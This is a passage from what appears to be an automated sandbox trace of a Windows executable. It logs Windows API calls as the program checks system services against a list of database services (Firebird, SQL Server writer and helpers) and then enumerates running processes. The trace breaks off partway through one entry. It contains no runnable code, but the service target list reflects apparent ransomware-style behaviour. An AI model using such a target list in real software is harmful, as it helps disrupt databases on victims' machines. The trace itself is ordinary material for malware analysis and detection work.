[0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0151.966] lstrlenW (lpString="gpsvc") returned 5 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0151.966] lstrlenW (lpString="iphlpsvc") returned 8 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0151.966] lstrlenW (lpString="KeyIso") returned 6 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0151.966] lstrlenW (lpString="LanmanServer") returned 12 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0151.967] lstrlenW (lpString="LanmanWorkstation") returned 17 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0151.967] lstrlenW (lpString="lfsvc") returned 5 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0151.967] lstrlenW (lpString="LicenseManager") returned 14 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0151.967] lstrlenW (lpString="lmhosts") returned 7 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0151.967] lstrlenW (lpString="LSM") returned 3 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0151.967] lstrlenW (lpString="MpsSvc") returned 6 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0151.967] lstrlenW (lpString="NcbService") returned 10 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0151.967] lstrlenW (lpString="netprofm") returned 8 [0151.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0151.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0151.967] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0151.967] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0151.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0151.967] lstrlenW (lpString="NlaSvc") returned 6 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0151.968] lstrlenW (lpString="nsi") returned 3 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0151.968] lstrlenW (lpString="PcaSvc") returned 6 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0151.968] lstrlenW (lpString="PlugPlay") returned 8 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0151.968] lstrlenW (lpString="Power") returned 5 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0151.968] lstrlenW (lpString="ProfSvc") returned 7 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0151.968] lstrlenW (lpString="RpcEptMapper") returned 12 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0151.968] lstrlenW (lpString="RpcSs") returned 5 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0151.968] lstrlenW (lpString="SamSs") returned 5 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0151.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0151.968] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0151.968] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0151.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0151.968] lstrlenW (lpString="Schedule") returned 8 [0151.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0151.969] lstrlenW (lpString="SecurityHealthService") returned 21 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0151.969] lstrlenW (lpString="SENS") returned 4 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0151.969] lstrlenW (lpString="ShellHWDetection") returned 16 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0151.969] lstrlenW (lpString="sppsvc") returned 6 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0151.969] lstrlenW (lpString="SSDPSRV") returned 7 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0151.969] lstrlenW (lpString="StateRepository") returned 15 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0151.969] lstrlenW (lpString="SysMain") returned 7 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0151.969] lstrlenW (lpString="SystemEventsBroker") returned 18 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0151.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0151.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0151.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0151.969] lstrlenW (lpString="Themes") returned 6 [0151.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0151.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0151.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0151.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0151.970] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f0 [0152.351] Process32FirstW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.351] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0152.352] lstrlenW (lpString="System") returned 6 [0152.352] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0152.352] lstrlenW (lpString="smss.exe") returned 8 [0152.352] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.353] lstrlenW (lpString="csrss.exe") returned 9 [0152.353] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0152.353] lstrlenW (lpString="wininit.exe") returned 11 [0152.353] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.354] lstrlenW (lpString="csrss.exe") returned 9 [0152.354] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0152.354] lstrlenW (lpString="winlogon.exe") returned 12 [0152.354] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0152.355] lstrlenW (lpString="services.exe") returned 12 [0152.355] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0152.355] lstrlenW (lpString="lsass.exe") returned 9 [0152.355] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.355] lstrlenW (lpString="svchost.exe") returned 11 [0152.355] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0152.356] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0152.356] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0152.356] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0152.356] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.357] lstrlenW (lpString="svchost.exe") returned 11 [0152.357] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0152.357] lstrlenW (lpString="dwm.exe") returned 7 [0152.357] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.357] lstrlenW (lpString="svchost.exe") returned 11 [0152.357] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.358] lstrlenW (lpString="svchost.exe") returned 11 [0152.358] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.358] lstrlenW (lpString="svchost.exe") returned 11 [0152.358] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.359] lstrlenW (lpString="svchost.exe") returned 11 [0152.359] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.359] lstrlenW (lpString="svchost.exe") returned 11 [0152.359] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.360] lstrlenW (lpString="svchost.exe") returned 11 [0152.360] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.360] lstrlenW (lpString="svchost.exe") returned 11 [0152.360] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.360] lstrlenW (lpString="svchost.exe") returned 11 [0152.360] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.361] lstrlenW (lpString="svchost.exe") returned 11 [0152.361] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.361] lstrlenW (lpString="svchost.exe") returned 11 [0152.361] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.362] lstrlenW (lpString="svchost.exe") returned 11 [0152.362] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0152.362] lstrlenW (lpString="audiodg.exe") returned 11 [0152.362] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0152.363] lstrlenW (lpString="sihost.exe") returned 10 [0152.363] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.363] lstrlenW (lpString="svchost.exe") returned 11 [0152.363] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0152.363] lstrlenW (lpString="taskhostw.exe") returned 13 [0152.364] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0152.364] lstrlenW (lpString="explorer.exe") returned 12 [0152.364] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0152.364] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0152.364] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, 